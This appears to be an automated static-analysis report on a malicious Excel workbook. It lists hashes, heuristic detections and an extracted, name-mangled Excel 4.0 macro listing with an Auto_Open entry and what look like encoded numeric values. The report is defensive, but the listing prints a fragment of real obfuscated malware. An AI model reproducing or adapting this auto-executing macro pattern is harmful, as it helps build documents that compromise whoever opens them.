Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fd216601b3a3ce6c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:53 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 71f1e0d587929eba1b0b1c0e7a08ad6b SHA-1: 1fd6039637eea3b6fdf4d07f292187a9c4ca952d SHA-256: fd216601b3a3ce6c6022ddbe9a4cb1a31cd19647991041d89479b4853adda60c
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6728 bytes
SHA-256: 413ad834dfcf668a3a8a7d9288d0e507631920fd9423498fb52850b59f5f8dbd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'LQvXjhmFlkLy') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xouuWq
' 0018     24 LABEL : Cell Value, String Constant - aSBgrvkgY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F152 
' 0018     27 LABEL : Cell Value, String Constant - BdMcbXQCEmBC len=0 
' 0018     27 LABEL : Cell Value, String Constant - cqKXREPTJCWB len=0 
' 0018     24 LABEL : Cell Value, String Constant - CyxdfvpgG len=0 
' 0018     25 LABEL : Cell Value, String Constant - DrvrcWKCQs len=0 
' 0018     26 LABEL : Cell Value, String Constant - FZTmWeTyaFv len=0 
' 0018     21 LABEL : Cell Value, String Constant - GKhGLr len=0 
' 0018     26 LABEL : Cell Value, String Constant - HwNhsyINyUQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - jLLdTPIL len=0 
' 0018     27 LABEL : Cell Value, String Constant - kKAmfqrNJOBv len=0 
' 0018     27 LABEL : Cell Value, String Constant - LQvXjhmFlkLy len=0 
' 0018     23 LABEL : Cell Value, String Constant - MAkbLBzi len=0 
' 0018     25 LABEL : Cell Value, String Constant - mdeVIOjYfm len=0 
' 0018     22 LABEL : Cell Value, String Constant - NgSghsg len=0 
' 0018     24 LABEL : Cell Value, String Constant - OXgTwnfpz len=0 
' 0018     22 LABEL : Cell Value, String Constant - uQKlpOA len=0 
' 0018     21 LABEL : Cell Value, String Constant - UuwqYG len=0 
' 0018     24 LABEL : Cell Value, String Constant - VuKDoeiuL len=0 
' 0018     23 LABEL : Cell Value, String Constant - YfYMRPjc len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZTVClJJyBCK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xouuWq,F55,"SET.NAME("OXgTwnfpz",0+VALUE("0"))",""
'  xouuWq,F59,"SET.NAME("cqKXREPTJCWB",OXgTwnfpz)",""
'  xouuWq,F64,"SET.NAME("NgSghsg",OXgTwnfpz)",""
'  xouuWq,F68,"SET.NAME("aSBgrvkgY",COUNTA(HwNhsyINyUQ))",""
'  xouuWq,F72,"SET.NAME("kKAmfqrNJOBv",COUNTA(LQvXjhmFlkLy))",""
'  xouuWq,F77,[],""
'  xouuWq,F79,"SET.NAME("ZTVClJJyBCK","")",""
'  xouuWq,F84,"cqKXREPTJCWB",""
'  xouuWq,F89,"SET.NAME("UuwqYG",HLOOKUP("*",HwNhsyINyUQ,cqKXREPTJCWB,FALSE))",""
'  xouuWq,Q91,"",-628.00000000000000000000
'  xouuWq,Q92,"",-804.00000000000000000000
'  xouuWq,F93,"VuKDoeiuL",""
'  xouuWq,Q93,"",-828.00000000000000000000
'  xouuWq,Q94,"",425.00000000000000000000
'  xouuWq,Q95,"",-33.00000000000000000000
'  xouuWq,Q96,"",-628.00000000000000000000
'  xouuWq,F98,"SET.NAME("GKhGLr",OXgTwnfpz)",""
'  xouuWq,F103,[],""
'  xouuWq,F106,"GKhGLr",""
'  xouuWq,F109,"MAkbLBzi",""
'  xouuWq,F112,"uQKlpOA",""
'  xouuWq,F117,"mdeVIOjYfm",""
'  xouuWq,F121,"SET.NAME("CyxdfvpgG",VALUE(HLOOKUP("*",LQvXjhmFlkLy,mdeVIOjYfm,FALSE)))",""
'  xouuWq,F123,"YfYMRPjc",""
'  xouuWq,F126,"ZTVClJJyBCK",""
'  xouuWq,F129,"NgSghsg",""
'  xouuWq,F132,NEXT(),""
'  xouuWq,F136,"BdMcbXQCEmBC",""
'  xouuWq,F139,[],""
'  xouuWq,F141,"DrvrcWKCQs",""
'  xouuWq,F146,NEXT(),""
'  xouuWq,F150,RETURN(),""
'  xouuWq,F173,"SET.NAME("FZTmWeTyaFv",F55)",""
'  xouuWq,F175,"HwNhsyINyUQ",""
'  xouuWq,F177,"SET.NAME("LQvXjhmFlkLy",R51C11)",""
'  xouuWq,F181,"SET.NAME("DrvrcWKCQs",192)",""
'  xouuWq,F186,"SET.NAME("jLLdTPIL",6)",""
'  xouuWq,F191,FZTmWeTyaFv(),""
'  xouuWq,F192,HALT(),""

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